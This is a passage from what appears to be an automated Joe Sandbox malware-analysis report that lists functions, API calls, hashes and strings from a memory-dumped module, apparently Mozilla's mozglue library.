Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: a3c78e7a0c4b1b37242d1c006560e891df1f3268808147cad3daf989c851b670
Instruction ID: 08fa2da5de14ba76223e689c1432a0da4e80ddd1b354ecd020877e9e2c025a77
Opcode Fuzzy Hash: a3c78e7a0c4b1b37242d1c006560e891df1f3268808147cad3daf989c851b670
Instruction Fuzzy Hash: EEE0BF70609F42ABDF005FE5D8097467AB8E75679DF208519E905F2740EB70F0848F65

Function 6C9BBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C9BBE49), ref: 6C9BBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C9BBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C9BBE49), ref: 6C9BBF38
RtlReAllocateHeap.NTDLL ref: 6C9BBF83
RtlFreeHeap.NTDLL ref: 6C9BBFA6

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: fac1ea168fb539be759c728daa2a1a4bc70a7676fafcdf65d9227617447c575e
Instruction ID: d2fb92434c0f73e8a4868eef144d7f2d3d94a70513ed11d55859f9e572d3dbfc
Opcode Fuzzy Hash: fac1ea168fb539be759c728daa2a1a4bc70a7676fafcdf65d9227617447c575e
Instruction Fuzzy Hash: CA51AC71A002029FE710DF69CCC0BABB7B6FF98314F284629D515A7B94D730F9168B81

Function 6C9A8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?,6C9CD734), ref: 6C9A8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?,6C9CD734), ref: 6C9A8EBF
free.MOZGLUE(?,?,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?), ref: 6C9A8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?,6C9CD734), ref: 6C9A8F46
free.MOZGLUE(?,?,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?), ref: 6C9A8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?), ref: 6C9A8F8F

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: e8af636b1f715f565ab26f8f3cd5aca5fcbabb8113d16e624d1802aa8c90361c
Instruction ID: e012b4b48f6f09e852f1ae7b25b2bc6b4bff92b210284a541196042c4a149aac
Opcode Fuzzy Hash: e8af636b1f715f565ab26f8f3cd5aca5fcbabb8113d16e624d1802aa8c90361c
Instruction Fuzzy Hash: D351C2B1A012568FEB18CF94D88076EB7B6FF48308F25052AD916AB740E731F916CBD5

Function 6C9660E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9660F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C966180
free.MOZGLUE(?,?,?,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C966211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C966229
free.MOZGLUE(?,?,?,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C96625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C966271

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 832bf1bbfc584e310abbd1fb11c1dee486a33933e62c530667f339d1a8a11485
Instruction ID: 277197432b3d2e20d07a38f459979d41e6299bfee315dc1d55d38f0b1b2d5919
Opcode Fuzzy Hash: 832bf1bbfc584e310abbd1fb11c1dee486a33933e62c530667f339d1a8a11485
Instruction Fuzzy Hash: 48518AB1A042068FFB14CFA9D8807AEB7B5EF45308F210539C616E7B91E731EA58CB51

Function 6C9A27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A289A
free.MOZGLUE(?,?,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A2910
free.MOZGLUE(00000001,?,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A294E

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8dc565d372aa64bcd6f66d2e12182e9c5d3c42fea9bb05fb19ae70bb24775fb6
Instruction ID: 3b03178faf194123a2c98558c508a7d653ffab896ad1c099d497d1e6d20be9f3
Opcode Fuzzy Hash: 8dc565d372aa64bcd6f66d2e12182e9c5d3c42fea9bb05fb19ae70bb24775fb6
Instruction Fuzzy Hash: 494115B1A04A068FEB14CFA9D98436A73F5EF85708F240539D95AEB740E731E905CB51

Function 6C95CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C95CFF6
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C95D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C95D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C95D139

Strings

MOZ_CRASH(), xrefs: 6C95D187

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: e85a125eca344988a789748d39649748eb56f54624cf086519c45077b0b5a3a6
Instruction ID: 778ac0424efc2c184f9cf4d152fd8beb73a8cb29c4d2ddf13372aeb212a43488
Opcode Fuzzy Hash: e85a125eca344988a789748d39649748eb56f54624cf086519c45077b0b5a3a6
Instruction Fuzzy Hash: 6A41D132B05A168FDB48CE7C8D9036AB6B4EB49B14F650139E918F7784D7A1AD808BD1

Function 6C954DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C954E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C954E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C954EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C954F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C954F1E

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: bb14178c740c82bfc4c468047a3b685c75b069f3137399ea0622dc03361bfba7
Instruction ID: b1df8f9db74fa726fa3717e1108051fe95a492a82b2905c21d5392e83629f895
Opcode Fuzzy Hash: bb14178c740c82bfc4c468047a3b685c75b069f3137399ea0622dc03361bfba7
Instruction Fuzzy Hash: 7641DE716087019FC745CF29C88095BBBE8BF99344F508A2DF86697B41DB31E978CB92

Function 6C961530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C96159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C9615BC
moz_xmalloc.MOZGLUE(-00000001,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C9615E7
free.MOZGLUE(?,?,?,?,?,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C961606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C961637

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 31e365f89d59d7e06a2cb2fd489cb08d7e5c9c7207f9e57073af560ffe06ab28
Instruction ID: 4bae577ba2892f03bb6f1278af77a25595c102d96fd1185dc0671bae05ec1676
Opcode Fuzzy Hash: 31e365f89d59d7e06a2cb2fd489cb08d7e5c9c7207f9e57073af560ffe06ab28
Instruction Fuzzy Hash: 0231E872A001159BEB188E7DD85147EB7A9FB923647280B2DE423DBFD4EB30D9148792

Function 6C9BAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAD9D

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAE3D

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: c41c7545e6ad78a29c8c240b861578057259ab3b6d5a151d29e0d6efaccf09a8
Instruction ID: 5fe8a1f7c2f34ded7ed99f90654e1aab18f07058040ac8ae15c4fa3918aafc08
Opcode Fuzzy Hash: c41c7545e6ad78a29c8c240b861578057259ab3b6d5a151d29e0d6efaccf09a8
Instruction Fuzzy Hash: 5F3178B1A003159FDB10DF798C44AABBBF8EF54614F15442DE84AE7700EB34E804C7A1

Function 6C9B5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C9CDCA0,?,?,?,6C98E8B5,00000000), ref: 6C9B5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C98E8B5,00000000), ref: 6C9B5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C98E8B5,00000000), ref: 6C9B5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C98E8B5,00000000), ref: 6C9B5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C98E8B5,00000000), ref: 6C9B5FD6

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: fcbc820f70b3d1a8ecb501618f2d77282b7f1c3dec8537d95c2cebb0234e5409
Instruction ID: 36213f6c55c68a64e303c5cca6067d25d09c6f77d203819cb7b0d3ea1bc6053c
Opcode Fuzzy Hash: fcbc820f70b3d1a8ecb501618f2d77282b7f1c3dec8537d95c2cebb0234e5409
Instruction Fuzzy Hash: C6311834304A009FD711CF29C898F2AB7FAFF89319B648558E5569BB95CB31EC51CB80

Function 6C95B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C95B532
moz_xmalloc.MOZGLUE(?), ref: 6C95B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C95B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C95B57E
free.MOZGLUE(00000000), ref: 6C95B58F

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: ff028db9acb863e20a2d735a66a1351bfdc2a4d5dd39a3cbbe7ca98f870984e9
Instruction ID: c0755dc0d183aa198474801ff678510929a968518e5b9a5eb8147a49fd1ad7e1
Opcode Fuzzy Hash: ff028db9acb863e20a2d735a66a1351bfdc2a4d5dd39a3cbbe7ca98f870984e9
Instruction Fuzzy Hash: CD210771A042059BDB00CF68CC40BAEBBB9FF56304F684129E818DB345E735D962C7A1

Function 6C95B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C95B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C95B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C95B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C95B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C95B849

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: b29def7535a6821acf77f380aa1737859e9b3ee3411f9f72636b0ab7170f68c2
Instruction ID: de1d3826493bb016507ba8d912d73f47dc5a9a88fed1e611f49e3c45aea7d5b2
Opcode Fuzzy Hash: b29def7535a6821acf77f380aa1737859e9b3ee3411f9f72636b0ab7170f68c2
Instruction Fuzzy Hash: 2D215AB0E002099FDF04DFA9D8855BEBBB8EF59314F148169ED06B7740E731A994CBA1

Function 6C9B6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9B6E78

Part of subcall function 6C9B6A10: InitializeCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6A68
Part of subcall function 6C9B6A10: GetCurrentProcess.KERNEL32 ref: 6C9B6A7D
Part of subcall function 6C9B6A10: GetCurrentProcess.KERNEL32 ref: 6C9B6AA1
Part of subcall function 6C9B6A10: EnterCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6AAE
Part of subcall function 6C9B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9B6AE1
Part of subcall function 6C9B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9B6B15
Part of subcall function 6C9B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C9B6B65
Part of subcall function 6C9B6A10: LeaveCriticalSection.KERNEL32(6C9DF618,?,?), ref: 6C9B6B83

MozFormatCodeAddress.MOZGLUE ref: 6C9B6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9B6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9B6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C9B6EFF

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 99dc678e53562e8d79dc6ec59860ab1c62aebc59d92903a349eaaeecc0eefe5d
Instruction ID: 462b598efc7c78d826c711d62852a99d19e631cb13f0d92ce9c7d8a9f0b78ed3
Opcode Fuzzy Hash: 99dc678e53562e8d79dc6ec59860ab1c62aebc59d92903a349eaaeecc0eefe5d
Instruction Fuzzy Hash: CE21A471A042199FDF04DF69D88569F77F9EF88308F044439E909A7241DB70AA58CF92

Function 6C9B76C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C9B76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C9B7705

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C9B7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C9B778F,00000000,00000000,00000000,00000000), ref: 6C9B7731
free.MOZGLUE(00000000), ref: 6C9B7760

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: a010a5dff262a2ec6c4ba7e4218f7b97598254833af0beea5fbb7265af5c81c6
Instruction ID: 5c84674e65c9da30f06616976f04f23dacb155ec28ed4ae7cf1dd680d1664a06
Opcode Fuzzy Hash: a010a5dff262a2ec6c4ba7e4218f7b97598254833af0beea5fbb7265af5c81c6
Instruction Fuzzy Hash: E61190B19052156BE710AF6A8C44AABBEE8EF55754F144529F848A7200E770985087F2

Function 6C990D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C953DEF), ref: 6C990D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C953DEF), ref: 6C990D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C953DEF), ref: 6C990DAF

Strings

<jemalloc>, xrefs: 6C990D92, 6C990DB9
: (malloc) Error in VirtualFree(), xrefs: 6C990D97, 6C990DBE

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 5f53c06ca7513f696dc887395e69eb746b29cdef277021764393462c7597fde3
Instruction ID: 2b1f68d59da961b7faabf52478f1b7f1a97d975c75ec0d4da8d7c678271cad7b
Opcode Fuzzy Hash: 5f53c06ca7513f696dc887395e69eb746b29cdef277021764393462c7597fde3
Instruction Fuzzy Hash: F4F02E31384B9423E720226B0C0AF5A266EA7C7F25F399035F764FE9C0DA50F4404AA6

Function 6C9A7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C9A75C4,?), ref: 6C9A762B

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C9A74D7,6C9B15FC,?,?,?), ref: 6C9A7644
GetCurrentThreadId.KERNEL32 ref: 6C9A765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9A74D7,6C9B15FC,?,?,?), ref: 6C9A7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9A74D7,6C9B15FC,?,?,?), ref: 6C9A7677

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

